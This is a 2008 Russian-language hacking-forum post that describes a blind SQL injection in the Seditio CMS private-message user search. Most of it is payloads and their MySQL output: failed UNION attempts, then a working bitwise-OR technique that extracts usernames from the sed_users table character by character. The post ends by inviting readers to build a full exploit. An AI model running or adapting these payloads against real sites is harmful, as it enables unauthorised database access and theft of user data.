Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Seditio Remote Blind SQL Injection |

16.04.2008, 20:15
|
|
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме: 1214722
Репутация:
676
|
|
Seditio Remote Blind SQL Injection
SEDITIO, ранее Neocrome, а еще ранее LDU обзавелся новым багом, реализовать который было куда интереснее, нежели обычную иньекцию, пусть даже слепую. Все дело осложняется тем, что данные из формы обрамляются запятыми с обоих сторон для последующего помещения в поисковый запрос. Уязвимым является параметр для поиск юзера в отправке личных сообщений.
Подготавливаем запрос, учитывая облом с обрамлением запятых
mysql> ') or 1=2 union select `user_name` ',xek' from sed_users/*')
-> ') or 1=2 union select `user_name` '','xek' from sed_users/*')
И получаем очередной облом - первое поле не выводится. В течение получаса было перепробавана куча вариантов, были подключены тоха и подкащей, но mysql во всех на первый взгял верных запросах возвращал ноль.
mysql> =') or 1=2 union select 123','`username`/*''*/ from sed_users/*')
-> ') or 1=2 union select 123'',''`username`/*''*/ from sed_users/*')
mysql> ') or 1=2 union select user_name+','+user_name from sed_users/*')
-> ') or 1=2 union select user_name+'',''+user_name from sed_users/*')
mysql> ') or 1=2 union select user_name+','+`user_name`+'' from sed_users/*
-> ') or 1=2 union select user_name+'',''+`user_name`+'' from sed_users/*
Вариант с подзапросами и перебором я отбросил сразу, уж слишком много запятых требовалось экранировать, да и не получалось xD Тогда на помощь пришел dev.mysql.com который сообщил мне о поразрядных функциях, вкратце напомню
mysql> SELECT 1 | 1 -- поразрядное или
-> 1
mysql> SELECT 15 & 19 -- поразрядное и
-> 13
mysql> SELECT 1 ^ 0 -- поразрядное исключающее или
-> 1
Помимо этих трех есть еще поразрядный сдвиг и инвертирование, но нам для запроса понадобятся лишь эти, точнее один из них. Это единственные функции в mysql, которые позволяют сравнивать числа с нулевой строкой и при этом даже получать результат xD
mysql> ') or ascii(substring((select user_name from sed_users limit 1)|',1'|',1'|''))>0/*
-> 1
mysql> ') or ascii(substring((select user_name from sed_users limit 1)|',1'|',1'|''))<0/*
-> 0
Описание этой баги отказались принять на милворм, потому что stroke не разобрался, решил опубликовать тут, может кто и напишет эксплоит
underWHAT?!
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|